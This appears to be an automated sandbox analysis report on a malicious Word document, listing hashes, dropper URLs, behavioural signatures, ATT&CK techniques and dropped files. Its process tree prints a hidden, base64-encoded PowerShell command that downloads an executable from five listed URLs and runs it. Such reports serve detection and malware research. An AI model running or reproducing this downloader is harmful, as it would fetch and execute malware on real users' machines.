623b52a41069600922f0faa472e2b0d6cf338fed34d025e955d1b6420aa68f6b

General

Target

623b52a41069600922f0faa472e2b0d6cf338fed34d025e955d1b6420aa68f6b.doc
Size

182KB
MD5

6fb57a9bfccd1dd2062de639145dccf8
SHA1

be4730e9e66fdefd1f2a91fd37cce331ee123cd4
SHA256

623b52a41069600922f0faa472e2b0d6cf338fed34d025e955d1b6420aa68f6b
SHA512

c09897e03fb2ecb0d5908da8cf165a0fcc871ba2b8750131e131b39275878ca6d36850a43152292b90ddc53d38b66203fff57e79f6c621fc8a80163d594696bf
SSDEEP

3072:9Nh2y/GdywFyktGDWLS0HZWD5w8K7Nk9rD7IBUdasiv8OP7F:9Nh2k4PF7tGiL3HJk9rD7bdasiv86J

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://diwafashions.com/wp-admin/mqau6/

exe.dropper

http://designers.hotcom-web.com/ubkskw29clek/qnpm1p/

exe.dropper

http://dixartcontractors.com/cgi-bin/nnuv/

exe.dropper

http://diaspotv.info/wordpress/G/

exe.dropper

http://easyvisaoverseas.com/cgi-bin/v/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2188	3768	Powershell.exe	83

Blocklisted process makes network request 3 IoCs

flow	pid	Process
28	2188	Powershell.exe
58	2188	Powershell.exe
61	2188	Powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2188	Powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
4656	WINWORD.EXE
4656	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2188	Powershell.exe
2188	Powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2188	Powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
4656	WINWORD.EXE
4656	WINWORD.EXE

Suspicious use of SetWindowsHookEx 8 IoCs

pid	Process
4656	WINWORD.EXE
4656	WINWORD.EXE
4656	WINWORD.EXE
4656	WINWORD.EXE
4656	WINWORD.EXE
4656	WINWORD.EXE
4656	WINWORD.EXE
4656	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4656 wrote to memory of 3464	4656	WINWORD.EXE	86
PID 4656 wrote to memory of 3464	4656	WINWORD.EXE	86

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\623b52a41069600922f0faa472e2b0d6cf338fed34d025e955d1b6420aa68f6b.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4656
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:3464

C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
Powershell -w hidden -en JABWAGgAZAByAGkAZwBwAHQAeQA9ACcARwByAG4AcgBsAHYAagBnAHEAdwBpAGUAbAAnADsAJABRAGgAeQBtAGQAZAB0AHAAdQAgAD0AIAAnADgAOAAyACcAOwAkAFEAeQBmAHIAZgBhAHgAcABzAHAAeQA9ACcAQgBuAGIAbwByAGEAZwB6AGwAcgAnADsAJABLAGEAdABxAGgAcwByAGcAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFEAaAB5AG0AZABkAHQAcAB1ACsAJwAuAGUAeABlACcAOwAkAE8AYQBqAG4AZAByAHUAbAByAD0AJwBTAHoAdABnAHUAeAB6AHcAdwBrAHUAbwAnADsAJABGAHUAegBqAGQAcwBnAHYAZQA9ACYAKAAnAG4AJwArACcAZQB3ACcAKwAnAC0AbwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBFAFQALgBXAGUAYgBDAGwAaQBFAE4AVAA7ACQAVgB4AHkAegB5AHYAeQBzAGYAbQA9ACcAaAB0AHQAcAA6AC8ALwBkAGkAdwBhAGYAYQBzAGgAaQBvAG4AcwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AbQBxAGEAdQA2AC8AKgBoAHQAdABwADoALwAvAGQAZQBzAGkAZwBuAGUAcgBzAC4AaABvAHQAYwBvAG0ALQB3AGUAYgAuAGMAbwBtAC8AdQBiAGsAcwBrAHcAMgA5AGMAbABlAGsALwBxAG4AcABtADEAcAAvACoAaAB0AHQAcAA6AC8ALwBkAGkAeABhAHIAdABjAG8AbgB0AHIAYQBjAHQAbwByAHMALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwBuAG4AdQB2AC8AKgBoAHQAdABwADoALwAvAGQAaQBhAHMAcABvAHQAdgAuAGkAbgBmAG8ALwB3AG8AcgBkAHAAcgBlAHMAcwAvAEcALwAqAGgAdAB0AHAAOgAvAC8AZQBhAHMAeQB2AGkAcwBhAG8AdgBlAHIAcwBlAGEAcwAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAHYALwAnAC4AIgBzAFAAbABgAEkAVAAiACgAJwAqACcAKQA7ACQAUAB1AHcAcQBvAGYAZwBoAGwAPQAnAE4AYgBwAHgAZABuAHUAZAAnADsAZgBvAHIAZQBhAGMAaAAoACQASABkAGkAawBjAGUAdgBiAHUAYwB6AGgAYQAgAGkAbgAgACQAVgB4AHkAegB5AHYAeQBzAGYAbQApAHsAdAByAHkAewAkAEYAdQB6AGoAZABzAGcAdgBlAC4AIgBkAG8AdwBOAEwAbwBhAGQAYABGAGAASQBsAGUAIgAoACQASABkAGkAawBjAGUAdgBiAHUAYwB6AGgAYQAsACAAJABLAGEAdABxAGgAcwByAGcAKQA7ACQAUAB5AHUAbQBiAG0AdgBiAHYAdAA9ACcASABuAHgAeQB2AGMAcwBuACcAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQASwBhAHQAcQBoAHMAcgBnACkALgAiAGwAZQBuAGAAZwBUAGgAIgAgAC0AZwBlACAAMgA4ADQAMQAxACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAHMAVABhAGAAUgBUACIAKAAkAEsAYQB0AHEAaABzAHIAZwApADsAJABHAGcAdwBqAHkAcwB4AHoAPQAnAFgAYQB2AGMAZABtAHMAbABnAHAAeAAnADsAYgByAGUAYQBrADsAJABVAGIAYQBmAHIAcwBrAGYAeQBiAD0AJwBHAGYAYwB4AGkAeQB1AGEAbQBqAG4AJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUgBwAGEAYwBlAHgAZQByAHUAYgBpAHgAbgA9ACcAQQBrAHoAeQB5AG8AeABoAHAAJwA=
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2188

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\A1366E1E.wmf

Filesize
444B

MD5
21e03fe861b06ab33de5ac908919a9bd

SHA1
4762c411141fa5beae6bfacc52ffbf02d47d86b6

SHA256
74e00d35afae6013d357ead89a25d3f8273be64b62da1e078e84cf6458480c32

SHA512
99296944a017d64a911952e939106443470968723ce021efa59de857e676c883c579ecd3e830a017a269ca3b39e5909b42634ba4fff371f22cb766f46ac6ca6a

Download Submit
C:\Users\Admin\AppData\Local\Temp\TCDFB8C.tmp\iso690.xsl

Filesize
263KB

MD5
ff0e07eff1333cdf9fc2523d323dd654

SHA1
77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4

SHA256
3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5

SHA512
b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zrln1bgg.4nj.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

Filesize
12B

MD5
f6f801e5b0502f5e803ed826dd37ae44

SHA1
273e87aa518397186653443c0c3e81d574361708

SHA256
e7bcd23ba708556ee69f96050dc7e74f9dab95825bfab48bcea7fd8fac482fd1

SHA512
8fe0217b9c7f9331664dc4259c7924b9c7e5e145f0b795ec98d713e41a2e3d001014b3ac41071fe41447632ddbfbbefc8c7d6de8fa9faeca455a0a78575e5584

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

Filesize
1KB

MD5
57016724e5b52dc5ff8ed39bebb5a744

SHA1
a5e91c772961dc1bb64d9f63be2e30d8ae720cad

SHA256
d670f8052b54e0f9fe261b38e4223e8cb709be045e10f9be540d4c50b22895e4

SHA512
667400a017ebc7b5501c7e6b63428b1f968bd9c1599ae9dd06acf37ab9bd33cc6f63187b6ff75e644b77916a5c61624a244dea385fe5421047edfd34a2bea6bd

Download Submit
memory/2188-60-0x00000201D4A40000-0x00000201D4A62000-memory.dmp

Filesize
136KB

Download
memory/4656-8-0x00007FFBCA510000-0x00007FFBCA705000-memory.dmp

Filesize
2.0MB

Download
memory/4656-18-0x00007FFB87DC0000-0x00007FFB87DD0000-memory.dmp

Filesize
64KB

Download
memory/4656-7-0x00007FFB8A590000-0x00007FFB8A5A0000-memory.dmp

Filesize
64KB

Download
memory/4656-10-0x00007FFBCA510000-0x00007FFBCA705000-memory.dmp

Filesize
2.0MB

Download
memory/4656-9-0x00007FFBCA510000-0x00007FFBCA705000-memory.dmp

Filesize
2.0MB

Download
memory/4656-12-0x00007FFB87DC0000-0x00007FFB87DD0000-memory.dmp

Filesize
64KB

Download
memory/4656-14-0x00007FFBCA510000-0x00007FFBCA705000-memory.dmp

Filesize
2.0MB

Download
memory/4656-13-0x00007FFBCA510000-0x00007FFBCA705000-memory.dmp

Filesize
2.0MB

Download
memory/4656-11-0x00007FFBCA510000-0x00007FFBCA705000-memory.dmp

Filesize
2.0MB

Download
memory/4656-15-0x00007FFBCA510000-0x00007FFBCA705000-memory.dmp

Filesize
2.0MB

Download
memory/4656-17-0x00007FFBCA510000-0x00007FFBCA705000-memory.dmp

Filesize
2.0MB

Download
memory/4656-1-0x00007FFB8A590000-0x00007FFB8A5A0000-memory.dmp

Filesize
64KB

Download
memory/4656-19-0x00007FFBCA510000-0x00007FFBCA705000-memory.dmp

Filesize
2.0MB

Download
memory/4656-16-0x00007FFBCA510000-0x00007FFBCA705000-memory.dmp

Filesize
2.0MB

Download
memory/4656-6-0x00007FFBCA510000-0x00007FFBCA705000-memory.dmp

Filesize
2.0MB

Download
memory/4656-5-0x00007FFBCA510000-0x00007FFBCA705000-memory.dmp

Filesize
2.0MB

Download
memory/4656-2-0x00007FFB8A590000-0x00007FFB8A5A0000-memory.dmp

Filesize
64KB

Download
memory/4656-4-0x00007FFB8A590000-0x00007FFB8A5A0000-memory.dmp

Filesize
64KB

Download
memory/4656-71-0x00007FFBCA510000-0x00007FFBCA705000-memory.dmp

Filesize
2.0MB

Download
memory/4656-73-0x00007FFBCA510000-0x00007FFBCA705000-memory.dmp

Filesize
2.0MB

Download
memory/4656-72-0x00007FFBCA5AD000-0x00007FFBCA5AE000-memory.dmp

Filesize
4KB

Download
memory/4656-74-0x00007FFBCA510000-0x00007FFBCA705000-memory.dmp

Filesize
2.0MB

Download
memory/4656-3-0x00007FFB8A590000-0x00007FFB8A5A0000-memory.dmp

Filesize
64KB

Download
memory/4656-0-0x00007FFBCA5AD000-0x00007FFBCA5AE000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads